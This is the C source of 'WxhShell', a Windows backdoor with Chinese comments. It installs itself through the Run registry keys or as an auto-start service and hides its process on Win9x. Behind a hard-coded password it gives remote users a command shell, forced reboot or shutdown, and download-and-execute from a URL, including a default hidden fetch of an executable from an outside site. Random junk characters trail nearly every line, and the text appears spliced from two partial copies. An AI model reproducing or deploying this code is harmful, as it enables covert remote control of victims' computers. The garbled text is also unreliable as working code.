    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !%Z)eO~Z  
    if(Boot(SHUTDOWN)) P ],)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V8KTNt%  
    else { FthXFxwx$  
    closesocket(wsh); LP0;n\  
    ExitThread(0); 2m)kyQ  
    } [t "_}t=w  
    break; TNX%_Q<  
    } Hm.&f2|(  
  // 获取shell IDiUn! 6Q  
  case 's': { gr[ "A  
    CmdShell(wsh); .Y^d9.  
    closesocket(wsh); .NNcc4+  
    ExitThread(0); HiS,q0  
    break;  9:K  
  } vJ'yz#tl9  
  // 退出 4cErk)F4  
  case 'x': { Yq)YS]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m&8U4uHN  
    CloseIt(wsh); s$DT.cvO  
    break; K 8yyxJ  
    } + aXk^+~j  
  // 离开 l7D4`i<F  
  case 'q': { j"D0nG,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :Z*02JwK  
    closesocket(wsh); "S{6LWkD  
    WSACleanup(); H(5ui`'s  
    exit(1); ~q#[5l(r8  
    break; w ufKb.4`  
        } i$ fjr[$B  
  } *'`3]!A  
  } lo>-}xd  
9m#H24{V'  
  // 提示信息 9 +N._u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =JySY@?9  
} @LkW_  
  } ![X.%  
]Nd'%M  
  return; tx|"v|&e2  
} 56O<CgJF<  
)z4kP09  
// shell模块句柄 !5' 8a5  
int CmdShell(SOCKET sock) I ")"s  
{ gqHH Hh  
STARTUPINFO si; &]"_pc/>m  
ZeroMemory(&si,sizeof(si)); go%X%Os]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nkCRe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ./BP+\)l O  
PROCESS_INFORMATION ProcessInfo; L F-+5`  
char cmdline[]="cmd"; KoQ_: `  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O+8ApicjTc  
  return 0; 8^f[-^%  
} pn_gq~5ng  
:[X }.]"  
// 自身启动模式 iK6<^,]'  
int StartFromService(void) z }b U\3!  
{ zOdasEd8!  
typedef struct /O(;~1B  
{ 1vR#FE?  
  DWORD ExitStatus; JG+g88  
  DWORD PebBaseAddress; CgTQGJ}-  
  DWORD AffinityMask; )8N)Z~h  
  DWORD BasePriority; ^B"_b?b  
  ULONG UniqueProcessId; tWX+\ |  
  ULONG InheritedFromUniqueProcessId; 2AdHj&XE  
}   PROCESS_BASIC_INFORMATION; )l!&i?h%  
IpaJ<~ p  
PROCNTQSIP NtQueryInformationProcess; !i"9f_  
dC;d>j,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >`,#%MH#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )>#<S0>'j  
RAx]Sp Q-S  
  HANDLE             hProcess; r^o}Y  
  PROCESS_BASIC_INFORMATION pbi; 6Nd_YX  
UgP=k){  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FDGKMGZ  
  if(NULL == hInst ) return 0; /+JP~ K  
Zkb,v!l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4S{l>/I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ['N#aDh.?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?;.+A4  
dE9aE#o  
  if (!NtQueryInformationProcess) return 0; {*=5qV}  
"d^lS@~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0?4^.N n3  
  if(!hProcess) return 0;  V\7u  
bM3'm$34  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2Nt]Nj`  
*}WqYqOow  
  CloseHandle(hProcess); ?$8 ,j+&I  
8-g$HXqs_#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xzf)_ <  
if(hProcess==NULL) return 0; ]I*#R9  
|sZ9 /G7  
HMODULE hMod; O 9 Au =  
char procName[255]; 4#Nd;gM2  
unsigned long cbNeeded; {Z~VO  
9787uj]Y}H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %!hA\S  
7QL) }b.H  
  CloseHandle(hProcess); #( Yb lY  
qP.VK?jF|  
if(strstr(procName,"services")) return 1; // 以服务启动 r Xk   
: w`i  
  return 0; // 注册表启动 kU9AfAe  
} LF,c-Cv!jL  
M+&eh*:z:  
// 主模块 Mud\Q["  
int StartWxhshell(LPSTR lpCmdLine) WaO;hy~us  
{ Ei(`gp  
  SOCKET wsl; _q!ck0_  
BOOL val=TRUE; B(vz$QE,$r  
  int port=0; %$-3fj7  
  struct sockaddr_in door; HvfTC<+H  
f*H}eu3/j  
  if(wscfg.ws_autoins) Install(); |c+N)F B  
nv|y@! (  
port=atoi(lpCmdLine); <h>fip3o  
"kuBjj2  
if(port<=0) port=wscfg.ws_port; *q 9$SDm  
kd2'-9  
  WSADATA data; @P*P8v8:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ).#D:eO[~  
%;XuA*e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;og<eK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n#AH@`&i  
  door.sin_family = AF_INET; Vh-h{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )t 7HioQ  
  door.sin_port = htons(port); (YH{%8 Z0  
# 2t\>7]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V\lF:3C  
closesocket(wsl); sBG(CpQ  
return 1; gYIYA"xN`  
} oM7-1O  
,T>2zSk  
  if(listen(wsl,2) == INVALID_SOCKET) { (HgdmN%  
closesocket(wsl); K1:)J.ca_  
return 1; w9?wy#YI  
} = |zyi|  
  Wxhshell(wsl); us *l+Jw,m  
  WSACleanup(); K?<Odw'k  
ov.rHVeI  
return 0; ^\t">NJ^  
.3SjkC4I  
} ) W7H{#  
*>H'@gS  
// 以NT服务方式启动 4>eg@sN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pv.),Iv-68  
{ \A"a>e  
DWORD   status = 0; 9jFDBy+  
  DWORD   specificError = 0xfffffff; L.&Vi"M <@  
Gi_X+os  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?fwr:aP~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t-{OP?cE1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jS)-COk  
  serviceStatus.dwWin32ExitCode     = 0; )n61IqrW  
  serviceStatus.dwServiceSpecificExitCode = 0; QLLV OJi  
  serviceStatus.dwCheckPoint       = 0; z>#$#:Z4  
  serviceStatus.dwWaitHint       = 0; ,(b~L<zN&  
Z?[J_[ZtR3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Xst}tz62F  
  if (hServiceStatusHandle==0) return; +K4v"7C V  
^HKaNk<  
status = GetLastError(); _'v )Fy  
  if (status!=NO_ERROR) V^H47O;VC  
{ 9GOyVKUv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _C\ d^a (  
    serviceStatus.dwCheckPoint       = 0; o[*ih\d  
    serviceStatus.dwWaitHint       = 0; eh=bClk  
    serviceStatus.dwWin32ExitCode     = status; nr%^:u  
    serviceStatus.dwServiceSpecificExitCode = specificError; +n]Knfi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u9%:2$[  
    return; \3UdC{~  
  } 5WX2rJ8z  
nsn,8a38  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g)Uh   
  serviceStatus.dwCheckPoint       = 0; hRiGW_t  
  serviceStatus.dwWaitHint       = 0; qt)mUq;>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sMo%Ayes  
} Wsz9X;  
rJ*WxOoS{  
// 处理NT服务事件,比如:启动、停止 C!A_PQ2y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6!V* :.(  
{ jF0BWPL  
switch(fdwControl) 'Pn`V{a  
{ F.w#AV  
case SERVICE_CONTROL_STOP: ,*#M%Pv1t  
  serviceStatus.dwWin32ExitCode = 0; z(a:fL{/XG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g7ROA8xu  
  serviceStatus.dwCheckPoint   = 0; $a]dxRkz  
  serviceStatus.dwWaitHint     = 0; /FXfu  
  { &Vm[5XW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .5zJ bZ9  
  } 3<SC`6'?  
  return; m)2U-3*iX  
case SERVICE_CONTROL_PAUSE: -M9 4 F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?q6eV~P  
  break; 9]9(o  
case SERVICE_CONTROL_CONTINUE: ~nlY8B(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &wvv5Vd  
  break; AY]nc# zz  
case SERVICE_CONTROL_INTERROGATE: "R]K!GUU  
  break; `hhG^ O_  
}; u-<s@^YG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L~zet-3UNf  
} 6ns_4, e  
a&PZ7!PZv  
// 标准应用程序主函数 :H 7 "W<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b s*Z{R  
{ 43fA;Uc{Y`  
CbQ%[x9|  
// 获取操作系统版本 @5ybBh]   
OsIsNt=GetOsVer(); )FCqYCfk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n(MEG'9}  
I!bZ-16X  
  // 从命令行安装 `_ L|I s=n  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7u(i4O& k  
&ICO{#v5  
  // 下载执行文件 F!<x;h(  
if(wscfg.ws_downexe) { 8hY)r~!b'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G 0 yt%qHE  
  WinExec(wscfg.ws_filenam,SW_HIDE); q5Mif\  
} 1jb@n xRjO  
DKH9 O  
if(!OsIsNt) { w[_Uv4M  
// 如果时win9x,隐藏进程并且设置为注册表启动 _69\#YvCG  
HideProc(); i vk|-C'\  
StartWxhshell(lpCmdLine); 5sUnEHN  
} =Ch#pLmH  
else $<#sCrNX  
  if(StartFromService()) pq`MO .R  
  // 以服务方式启动 1x)%9u}  
  StartServiceCtrlDispatcher(DispatchTable); aV.<<OS   
else  q\"$~*  
  // 普通方式启动 N"{o3QmA  
  StartWxhshell(lpCmdLine); V-|}.kOH2  
'` "&RuB  
return 0; pQi -  
} ZG|T-r;~  
c9'b `#'  
Ws@s(5r  
9p<l}h7g  
=========================================== b/`' ?| C  
3WHH3co[  
 w4mL/j  
|d8o<Q  
vC1 `m  
d+;~x*  
" ,`b9c=6;  
#c_ZU\" h"  
#include <stdio.h> ,\b5M`<c  
#include <string.h> .#}R$}e+  
#include <windows.h> )1ciO+_  
#include <winsock2.h> ~Gza$ K  
#include <winsvc.h> *np|PyLP:  
#include <urlmon.h> 'u~use"  
ty ?y&~axk  
#pragma comment (lib, "Ws2_32.lib") AmHIG_'  
#pragma comment (lib, "urlmon.lib") Rz<fz"/2<  
#Bjnz$KB  
#define MAX_USER   100 // 最大客户端连接数 Qpc>5p![3  
#define BUF_SOCK   200 // sock buffer D]REZuHOI  
#define KEY_BUFF   255 // 输入 buffer MtljI6  
o/#e y  
#define REBOOT     0   // 重启 j~0hAKHG  
#define SHUTDOWN   1   // 关机 z#b6 aP  
c3+vtP&  
#define DEF_PORT   5000 // 监听端口 j.sf FS  
\uH;ng|m  
#define REG_LEN     16   // 注册表键长度 Rh|&{Tf  
#define SVC_LEN     80   // NT服务名长度 e"Z~%,^A  
T^ -RP  
// 从dll定义API "#%T*c{Tf0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @NZ?D0"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U.\kAEJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VlH9ap  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MLl:)W*  
pmZr<xs   
// wxhshell配置信息 y!j1xnzki  
struct WSCFG { C|+5F,D  
  int ws_port;         // 监听端口 .+.Pc_fv  
  char ws_passstr[REG_LEN]; // 口令 q :gH`5N  
  int ws_autoins;       // 安装标记, 1=yes 0=no >*&[bW'}?  
  char ws_regname[REG_LEN]; // 注册表键名 \W4SZR%u  
  char ws_svcname[REG_LEN]; // 服务名 OWU]gh@r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }0 Z3Lrv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H)Yv_gT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AyWCb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g_`8K,6ln  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;,D7VxWhY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \I> ,j,c  
p-Z5{by  
}; umciP  
+-ue={ '  
// default Wxhshell configuration TAP/gN'  
struct WSCFG wscfg={DEF_PORT, Rh39x-`Z  
    "xuhuanlingzhe", aX! J0&3  
    1, (q utgnW  
    "Wxhshell", ),86Y:^4  
    "Wxhshell", {az8*MR=X  
            "WxhShell Service", ~dv C$   
    "Wrsky Windows CmdShell Service", IaW8  
    "Please Input Your Password: ", ?AR6+`0  
  1, 4&tY5m>  
  "http://www.wrsky.com/wxhshell.exe", )<+Z,6  
  "Wxhshell.exe" X@B+{IFC  
    }; &}WSfZ0{  
gxF3gM  
// 消息定义模块 umc!KOkL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  u >x2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R]dc(D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U7O2.y+  
char *msg_ws_ext="\n\rExit."; A\:M}D-(  
char *msg_ws_end="\n\rQuit."; l#Iof)@#  
char *msg_ws_boot="\n\rReboot..."; F$.M2*9  
char *msg_ws_poff="\n\rShutdown..."; zk?lNs  
char *msg_ws_down="\n\rSave to "; sD M!Uv2n  
&iTsuA/7  
char *msg_ws_err="\n\rErr!"; b8O:@j2  
char *msg_ws_ok="\n\rOK!"; JAYom%A"  
+K&ze:-Z  
char ExeFile[MAX_PATH]; hsi#J^n{  
int nUser = 0; 3=` UX  
HANDLE handles[MAX_USER]; K}6}Opr,Tt  
int OsIsNt; _uDtRoI8  
@qeI4io-n  
SERVICE_STATUS       serviceStatus; kj>XKZL10  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?P}7AF A(W  
Q16RDQ*  
// 函数声明 lgU7jn  
int Install(void); H}A67J9x  
int Uninstall(void); zg]9~i8  
int DownloadFile(char *sURL, SOCKET wsh); 'EXp[*  
int Boot(int flag); I\":L  
void HideProc(void); \;4RD$J  
int GetOsVer(void); B<i1UJ5  
int Wxhshell(SOCKET wsl); =r`>tWs  
void TalkWithClient(void *cs); ? ;\YiOTda  
int CmdShell(SOCKET sock); z`{x1*w_  
int StartFromService(void); yQ\c<z^e  
int StartWxhshell(LPSTR lpCmdLine); rN OwB2e  
=5+:<e,&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Hh,\>= ':  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8I JFQDGA9  
N'IzHyo.  
// 数据结构和表定义 T<!TmG  
SERVICE_TABLE_ENTRY DispatchTable[] = J-=&B5"O>  
{ By%aTuV$  
{wscfg.ws_svcname, NTServiceMain}, V_h, UYN  
{NULL, NULL} I6\ l 6o  
}; 6*CvRb&  
s3oK[:/  
// 自我安装 !s5 _JO  
int Install(void) :Z,zWk1|  
{ 1_ %3cN.  
  char svExeFile[MAX_PATH]; 21W>}I"0?  
  HKEY key; ~|riFp=J  
  strcpy(svExeFile,ExeFile); 0&zp9(G5  
ZjbMk 3Y  
// 如果是win9x系统,修改注册表设为自启动 ,9=5.+AJ  
if(!OsIsNt) { 2wikk]Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ``U>9S"p)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g\d|/HV K  
  RegCloseKey(key); ge*f<#|0U-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u`7\o~$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (FP- K  
  RegCloseKey(key); !M\8k$#"n  
  return 0; XNsMXeO]&  
    } j&u{a[Y/}  
  } / F9BbG{  
} *IfLoKS'  
else { ] vQn*T"^  
kk& ([ xqU  
// 如果是NT以上系统,安装为系统服务 <$R'y6U :  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \vsfY   
if (schSCManager!=0) "p0e6Z=  
{ R FWJ ZN"  
  SC_HANDLE schService = CreateService o^H.uBO{  
  ( OUQySac  
  schSCManager, 0;KjP?5  
  wscfg.ws_svcname, 1)w^.8f  
  wscfg.ws_svcdisp, /U+0T>(HS  
  SERVICE_ALL_ACCESS, Zg_ fec~6q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m>DBO|`  
  SERVICE_AUTO_START, DOyYy~Q  
  SERVICE_ERROR_NORMAL, ;5M I8  
  svExeFile, i1}Y;mj  
  NULL, 274F+X  
  NULL, ?31#:Mg6g+  
  NULL, Gu-6~^Km9  
  NULL, W:' H&`0  
  NULL G*JasHFs  
  ); ^,*!Qk<c  
  if (schService!=0) !UDTNF?1  
  { L3pNna  
  CloseServiceHandle(schService); }I`"$2   
  CloseServiceHandle(schSCManager); /'O? 8X<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oP!oU2eqK  
  strcat(svExeFile,wscfg.ws_svcname); 16Cd0[h?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c<fl6o)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \AQ*T`Dq  
  RegCloseKey(key); B _k+Oa2!  
  return 0; v4OroG=^  
    } #-W a3P  
  } i_Ol vuy~  
  CloseServiceHandle(schSCManager); ~U}0=lRVS  
} a'r8J~:jy  
} |ZC@l^a7  
x5jd2wS Dx  
return 1; g:8k,1y5  
} v)1@Ew=Y%  
&P'd&B1   
// 自我卸载 ]O]6O%.ao  
int Uninstall(void) z>}H[0[#  
{ Y#7sDd!N|  
  HKEY key; =jz [}5  
1L3 +KD~  
if(!OsIsNt) { >sGIpER7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oR[-F+__  
  RegDeleteValue(key,wscfg.ws_regname); yI$KBx/]n  
  RegCloseKey(key); WstX>+?'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3:qn\"Hj  
  RegDeleteValue(key,wscfg.ws_regname); pV[SY6/  
  RegCloseKey(key); E&G]R!  
  return 0; dT?mMTKn+  
  } "!,)Pv  
} #|-i*2@oR  
} A s"% u  
else { M 5c$  
4f SG c8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o@2Y98~Q}  
if (schSCManager!=0) \8Y62  
{ &uP,w#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eU(cn8/}  
  if (schService!=0) zpgRK4p,I"  
  { %/.yGAPkx  
  if(DeleteService(schService)!=0) { _O#R,Y2#  
  CloseServiceHandle(schService); cfSQqH  
  CloseServiceHandle(schSCManager); Yc^;?n`x  
  return 0; yVfF *nG  
  } vb.}SG>  
  CloseServiceHandle(schService); ?hBjq  
  } erlg\-H   
  CloseServiceHandle(schSCManager); YUjKOPN  
} yd|ao\'=  
} ;r?s7b/>  
D4Z7j\3a  
return 1; 1EiSxf  
}  hik.c3  
W>y >  
// 从指定url下载文件 Bi-x gq'z  
int DownloadFile(char *sURL, SOCKET wsh) .VXadgM  
{ z#HNJAQ#|  
  HRESULT hr; b]5/IT)@O  
char seps[]= "/"; mlLx!5h=  
char *token; Mh "iyDGA  
char *file; <H,E1kGw9  
char myURL[MAX_PATH]; bUU\bc  
char myFILE[MAX_PATH]; br;~}GR_h  
.C|dGE?,  
strcpy(myURL,sURL); yU|=)p5  
  token=strtok(myURL,seps); fL(_V/p^  
  while(token!=NULL) Q3<ctd\]Y  
  { l3N '@GO  
    file=token; 'r'+$D7  
  token=strtok(NULL,seps); UX24*0`\~  
  } d~qZ;uw  
\)M EM=U  
GetCurrentDirectory(MAX_PATH,myFILE); 6DVHJ+WTV  
strcat(myFILE, "\\"); y?'Z'  
strcat(myFILE, file); blx"WVqo  
  send(wsh,myFILE,strlen(myFILE),0); B,b^_4XX$  
send(wsh,"...",3,0); c8h71Cr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sW]>#e  
  if(hr==S_OK) kF-7OX0)  
return 0; o%E-K=a  
else E>c*A40=.n  
return 1; tS3!cO\  
OE/r0C<&  
} ,5& Rra/  
wd*V,ZN7  
// 系统电源模块 h9Tst)iRi  
int Boot(int flag) e'X"uH Xt.  
{ Z6fR2A~Q[  
  HANDLE hToken; K!a7Hg  
  TOKEN_PRIVILEGES tkp; {W'{A  
NCp]!=uM;  
  if(OsIsNt) { (j&7`9<5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f?lnBvT|b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +2#pP  
    tkp.PrivilegeCount = 1; &ox5eX(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SoHw9FtS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J3 xi5S  
if(flag==REBOOT) { ' -td/w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^!6T,7 B B  
  return 0; )O,+'w?  
} yRWZ/,9x   
else { Zt \3y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y;=GM:*H  
  return 0; k $E{'Dv  
} :DJLkMP  
  } 2m,t<Y;  
  else { {!*dk V  
if(flag==REBOOT) { Ask~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >P}6/L  
  return 0; |@rYh-5  
} PmA_cP7~  
else { x75 3o\u!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ua!RwSo  
  return 0; eB_ M *+^  
} `svOPB4C'  
} &;[0.:;  
w|U 7pUz  
return 1; IAd[_<9D  
} _SrkR7  
NKYHJf2?x  
// win9x进程隐藏模块 QV8;c^EZ  
void HideProc(void) DI\^&F)3T2  
{ 08z?i  
`08}y*E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _]M :  
  if ( hKernel != NULL ) k&= iye(  
  { G(hzW%P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (,['6k<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b?:SCUI  
    FreeLibrary(hKernel);  z:d+RMA  
  } /t04}+,e ^  
l(3\ekU!  
return; Mb+CtI_'  
} ]Z>zf]<  
:@,UPc-+  
// 获取操作系统版本 ui&^ m,  
int GetOsVer(void) )QB9zl:  
{ ogJ>`0 +J  
  OSVERSIONINFO winfo; A}CpyRVCn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t+aE*Q  
  GetVersionEx(&winfo); J5zu}U?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $uUJV% EX  
  return 1; }-PV%MNud  
  else $ItPUYi";  
  return 0; oN[# C>#(  
} y*j8OA.S  
78O5$?b;#  
// 客户端句柄模块 * oru;=D@8  
int Wxhshell(SOCKET wsl) T2}ccnDi  
{ -hKtd3WbT  
  SOCKET wsh; ,QHn} 3fW  
  struct sockaddr_in client; ~p$ncIr2Q  
  DWORD myID; W4S]2P>T  
e:(~=9}Li  
  while(nUser<MAX_USER) U/:x<Y$ tj  
{ A[N>T\  
  int nSize=sizeof(client); F <.} q|b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m@y_Wt  
  if(wsh==INVALID_SOCKET) return 1; 4(p,@e31  
sX#7;,Ft7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); % ^&D,  
if(handles[nUser]==0) *Vp$#Rb  
  closesocket(wsh); D}K/5iU]a  
else 1#jvr_ ga  
  nUser++; _R;+}1G/  
  } ^j g{MTa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dMoN19F  
vA#?\j2  
  return 0; Kvh6D"  
} YL@d+ -\  
1~9AQ[]w8  
// 关闭 socket ;aUI3n%  
void CloseIt(SOCKET wsh) mG+hLRTXP  
{ l&m'?. g f  
closesocket(wsh); "dBCS  
nUser--; WyJXT.  
ExitThread(0); ppPzI,  
} )4bZ;'B5  
{#%;HqP  
// 客户端请求句柄 }$1Aw%p^  
void TalkWithClient(void *cs) Gq^#.o]  
{ ai~JY[  
}NETiJ"6  
  SOCKET wsh=(SOCKET)cs; 8A|i$#.&  
  char pwd[SVC_LEN]; Mta;6<  
  char cmd[KEY_BUFF]; 0%5x&vx'S  
char chr[1]; jY5BVTWnV  
int i,j; \ /6m  
Ia>>b #h  
  while (nUser < MAX_USER) { b}jLI_R{  
U-GV^j  
if(wscfg.ws_passstr) { oxL4* bqZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |cq%eN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0Z>oiBr4  
  //ZeroMemory(pwd,KEY_BUFF); (r )fx  
      i=0; -~ ycr[}x  
  while(i<SVC_LEN) { cRC)99HP  
N>_d {=P  
  // 设置超时 U-3uT&m*9.  
  fd_set FdRead; Is !DiB  
  struct timeval TimeOut; *oz=k  
  FD_ZERO(&FdRead); 1">]w2je:  
  FD_SET(wsh,&FdRead); m 1lfC  
  TimeOut.tv_sec=8; YP vg(T  
  TimeOut.tv_usec=0; Y&_1U/}h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9=Rj9%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h\^> s$  
JPTVZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AAt<{  
  pwd=chr[0]; ld*RL:G  
  if(chr[0]==0xd || chr[0]==0xa) { Rd.[8#7VE  
  pwd=0; G0eJ<*|_ 3  
  break; Ig6>+Mw  
  } U[8Cg  
  i++; P=9Zm  
    } 5-pz/%,  
B.J4}Ua  
  // 如果是非法用户,关闭 socket n"{oj7E0a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :}18G}B  
} GQ8r5V4:  
[ {B1~D-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q3E_.{t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '((Ll  
g1`/xJz|  
while(1) { @Q atgYu  
20f):A6  
  ZeroMemory(cmd,KEY_BUFF); R4|<Vp<U2  
6\9 9WQ  
      // 自动支持客户端 telnet标准   = pS\gLQu  
  j=0; 4GRmo"S  
  while(j<KEY_BUFF) { ~f2zMTI|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gaJIc^O  
  cmd[j]=chr[0]; \$h LhYz-  
  if(chr[0]==0xa || chr[0]==0xd) { <P3r}|K  
  cmd[j]=0; ~!!>`x  
  break; -W+67@(\8H  
  } :=tPC A=  
  j++; a4}2^K  
    } p=(;WnsK  
U{>eE8l  
  // 下载文件 PaFJw5f  
  if(strstr(cmd,"http://")) { otO6<%/m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]Zim8^n?`.  
  if(DownloadFile(cmd,wsh)) hexq]'R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +mT}};-TS  
  else xW,(d5RtZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K5)G+Id*  
  } <z|? C  
  else {  G?]E6R  
